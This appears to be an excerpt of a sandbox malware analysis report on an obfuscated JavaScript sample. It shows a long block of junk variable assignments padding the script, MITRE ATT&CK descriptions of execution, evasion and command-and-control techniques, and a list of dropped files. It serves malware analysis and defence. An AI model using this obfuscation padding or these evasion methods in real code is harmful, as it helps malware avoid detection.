127	zmsru = "9";
128	wizebz = "p";
129	wizebz = "A";
130	wizebz = "Q";
131	wizebz = "s";
132	wizebz = "J";
133	wizebz = "&";
134	ilwccrut = "B";
135	ilwccrut = "H";
136	ilwccrut = "A";
137	ilwccrut = "A";
138	ilwccrut = "G";
139	ilwccrut = "L";
140	ilwccrut = "x";
141	guhoyffn = "g";
142	guhoyffn = "D";
143	guhoyffn = "B";
144	guhoyffn = "S";
145	guhoyffn = "i";
146	guhoyffn = "P";
147	guhoyffn = "e";
148	guhoyffn = "p";
149	guhoyffn = "Y";
150	bfmvgq = "o";
151	bfmvgq = "M";
152	bfmvgq = "R";
153	bfmvgq = "v";
154	bfmvgq = "b";
155	bfmvgq = "v";
156	bfmvgq = "w";
157	bfmvgq = "o";
158	jdoui = "o";
159	jdoui = "Q";
160	jdoui = "A";
161	jdoui = "A";
162	jdoui = "f";
163	jdoui = "4";
164	hphyufczo = "S";
165	hphyufczo = "Q";
166	hphyufczo = "Q";
167	hphyufczo = "G";
168	hphyufczo = "A";
169	hphyufczo = "h";
170	hphyufczo = "R";
171	hphyufczo = "h";
172	hphyufczo = "8";
173	lxular = "a";
174	lxular = "t";
175	lxular = "L";
176	lxular = "L";
177	lxular = "Y";
178	lxular = "f";
179	lxular = "c";
180	lxular = "w";
181	rqavp = "b";
182	rqavp = "V";
183	rqavp = "v";
184	rqavp = "a";
185	rqavp = "F";
186	rqavp = "K";
187	rqavp = "I";
188	rqavp = "T";
189	rqavp = "c";
190	rqavp = "@";
191	kctso = "S";
192	kctso = "g";
193	kctso = "K";
194	kctso = "e";
195	kctso = "x";
196	kctso = "E";
197	hdgqwv = "z";
198	hdgqwv = "r";
199	hdgqwv = "S";
200	hdgqwv = "v";
201	hdgqwv = "c";
202	hdgqwv = "u";
203	hdgqwv = "N";
204	hdgqwv = "V";
205	hdgqwv = "J";
206	hdgqwv = "p";
207	zpbftzbjx = "C";
208	zpbftzbjx = "l";
209	zpbftzbjx = "r";
210	zpbftzbjx = "n";
211	zpbftzbjx = "r";
212	zpbftzbjx = "s";
213	zpbftzbjx = "r";
214	zpbftzbjx = "f";
215	fgjreuzh = "T";
216	fgjreuzh = "l";
217	fgjreuzh = "i";
218	fgjreuzh = "l";
219	fgjreuzh = "K";
220	fgjreuzh = "m";
221	fgjreuzh = "r";
222	fgjreuzh = "q";
223	eukgp = "d";
224	eukgp = "A";
225	eukgp = "A";
226	eukgp = "n";
227	eukgp = "I";
228	eukgp = "V";
229	eukgp = "r";
230	eukgp = "_";
231	yajlxt = "Y";
232	yajlxt = "a";
233	yajlxt = "x";
234	yajlxt = "V";
235	yajlxt = "n";
236	yajlxt = "a";
237	yajlxt = "H";
238	yajlxt = "l";
239	yajlxt = "s";
240	yajlxt = "0";
241	fchslk = "j";
242	fchslk = "P";
243	fchslk = "Q";
244	fchslk = "z";
245	fchslk = "u";
246	fchslk = "M";
247	fchslk = "X";
248	fchslk = "W";
249	rxadyqm = "b";
250	rxadyqm = "P";
251	rxadyqm = "d";
252	rxadyqm = "C";
253	rxadyqm = "m";
254	rxadyqm = "T";
255	rxadyqm = "d";
256	rxadyqm = "S";
257	qeicp = "y";
258	qeicp = "W";
259	qeicp = "s";
260	qeicp = "R";
261	qeicp = "h";
262	qeicp = "h";
263	qeicp = "b";
264	qeicp = "t";
265	gvblp = "i";
266	gvblp = "t";
267	gvblp = "U";
268	gvblp = "l";
269	gvblp = "J";
270	gvblp = "z";
271	gvblp = "l";
272	gvblp = "p";
273	gvblp = "S";
274	gvblp = "s";
275	kipjxcc = "U";
276	kipjxcc = "M";
277	kipjxcc = "T";
278	kipjxcc = "C";
279	kipjxcc = "C";
280	kipjxcc = "T";
281	kipjxcc = "a";
282	kipjxcc = "3";
283	ndwtceky = "x";
284	ndwtceky = "X";
285	ndwtceky = "c";
286	ndwtceky = "f";
287	ndwtceky = "Z";
288	ndwtceky = "R";
289	fxlpty = "a";
290	fxlpty = "v";
291	fxlpty = "w";
292	fxlpty = "y";
293	fxlpty = "H";
294	fxlpty = "Q";
295	fxlpty = "N";
296	fxlpty = "c";
297	fxlpty = "n";
298	fxlpty = ":";
299	wkizm = "X";
300	wkizm = "C";
301	wkizm = "m";
302	wkizm = "Z";
303	wkizm = "m";
304	wkizm = "W";
305	wkizm = "f";
306	wkizm = "m";
307	plfbx = "g";
308	plfbx = "M";
309	plfbx = "X";
310	plfbx = "R";
311	plfbx = "w";
312	plfbx = "K";
313	jbghzpz = "V";
314	jbghzpz = "C";
315	jbghzpz = "G";
316	jbghzpz = "D";
317	jbghzpz = "A";
318	jbghzpz = "g";
319	jbghzpz = "m";
320	jbghzpz = "r";
321	cfngwk = "J";
322	cfngwk = "E";
323	cfngwk = "n";
324	cfngwk = "d";
325	cfngwk = "c";
326	cfngwk = "c";
327	xiatf = "b";
328	xiatf = "B";
329	xiatf = "k";
330	xiatf = "k";
331	xiatf = "T";
332	xiatf = "H";
333	xiatf = "o";
334	xiatf = "Q";
335	xiatf = "i";
336	qhmdn = "a";
337	qhmdn = "b";
338	qhmdn = "n";
339	qhmdn = "V";
340	qhmdn = "h";
341	qhmdn = "S";
342	qhmdn = "X";
343	qhmdn = "k";
344	qhmdn = "W";
345	qhmdn = "e";
346	shakbtmt = "c";
347	shakbtmt = "K";
348	shakbtmt = "A";
349	shakbtmt = "M";
350	shakbtmt = "r";
351	shakbtmt = "v";
352	shakbtmt = "X";
353	shakbtmt = "x";
354	shakbtmt = "j";
355	shakbtmt = "g";
356	tmepj = "N";
357	tmepj = "y";
358	tmepj = "B";
359	tmepj = "i";
360	tmepj = "W";
361	tmepj = " ";
362	ibeufxart = "V";
363	ibeufxart = "s";
364	ibeufxart = "l";
365	ibeufxart = "c";
366	ibeufxart = "m";
367	ibeufxart = "O";
368	ibeufxart = "h";
369	kxfkmh = "A";
370	kxfkmh = "L";
371	kxfkmh = "n";
372	kxfkmh = "Y";
373	kxfkmh = "F";
374	kxfkmh = "k";
375	bguzhzhks = "L";
376	bguzhzhks = "t";
377	bguzhzhks = "x";
378	bguzhzhks = "g";
379	bguzhzhks = "u";
380	bguzhzhks = "X";
381	bguzhzhks = "/";
382	mpgriuqu = "B";
383	mpgriuqu = "k";
384	mpgriuqu = "z";
385	mpgriuqu = "t";
386	mpgriuqu = "k";
387	mpgriuqu = "s";
388	mpgriuqu = "r";
389	mpgriuqu = "N";
390	chetde = "D";
391	chetde = "y";
392	chetde = "a";
393	chetde = "H";
394	chetde = "f";
395	chetde = "j";
396	chetde = "k";
397	chetde = "E";
398	chetde = "%";
399	grwsqdvyc = "p";
400	grwsqdvyc = "e";
401	grwsqdvyc = "b";
402	grwsqdvyc = "b";
403	grwsqdvyc = "X";
404	grwsqdvyc = "P";
405	grwsqdvyc = "z";
406	grwsqdvyc = "\\";
407	uvbgegtph = "F";
408	uvbgegtph = "o";
409	uvbgegtph = "h";
410	uvbgegtph = "O";
411	uvbgegtph = "z";
412	uvbgegtph = "L";
413	gbpvbhawj = "c";
414	gbpvbhawj = "w";
415	gbpvbhawj = "i";
416	gbpvbhawj = "D";
417	gbpvbhawj = "o";
418	gbpvbhawj = "S";
419	gbpvbhawj = "m";
420	gbpvbhawj = "b";
421	gbpvbhawj = "b";
422	gbpvbhawj = "Q";
423	smngcrlp = "i";
424	smngcrlp = "i";
425	smngcrlp = "v";
426	smngcrlp = "Q";
427	smngcrlp = "m";
428	smngcrlp = "t";
429	smngcrlp = "i";
430	smngcrlp = "5";
431	eyyrbir = "U";
432	eyyrbir = "D";
433	eyyrbir = "a";
434	eyyrbir = "e";
435	eyyrbir = "W";
436	eyyrbir = "d";
437	eyyrbir = "C";
438	eyyrbir = "y";
439	eyyrbir = "Y";
440	eyyrbir = "C";
441	clrac = "U";
442	clrac = "X";
443	clrac = "D";
444	clrac = "F";
445	clrac = "y";
446	clrac = "C";
447	clrac = "G";
448	clrac = "j";
449	iumqf = "G";
450	iumqf = "X";
451	iumqf = "O";
452	iumqf = "E";
453	iumqf = "R";
454	iumqf = "v";
455	iumqf = "M";
456	iumqf = "L";
457	iumqf = "q";
458	iumqf = "F";
459	wwoeqiv = "I";
460	wwoeqiv = "w";
461	wwoeqiv = "F";
462	wwoeqiv = "U";
463	wwoeqiv = "T";
464	wwoeqiv = "\"";
465	ohhwk = "Z";
466	ohhwk = "N";
467	ohhwk = "T";
468	ohhwk = "P";
469	ohhwk = "w";
470	ohhwk = "y";
471	ohhwk = "C";
472	ohhwk = "n";
473	qqeky = "B";
474	qqeky = "U";
475	qqeky = "z";
476	qqeky = "Z";
477	qqeky = "A";
478	qqeky = "e";
479	qqeky = "v";
480	rynjch = "R";
481	rynjch = "P";
482	rynjch = "M";
483	rynjch = "n";
484	rynjch = "A";
485	rynjch = "l";
486	bvstv = "G";
487	bvstv = "M";
488	bvstv = "s";
489	bvstv = "b";
490	bvstv = "r";
491	bvstv = "j";
492	bvstv = "1";
493	sfvekb ( );	sfvekb() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 17201670993971103.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\1da8f0f5-245a-4d17-8ec5-99ce0b16489b.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\9c69baf8-4ed6-4693-beab-bb942b885c92.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF3eb817.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Windows Analysis Report
17201670993971103.js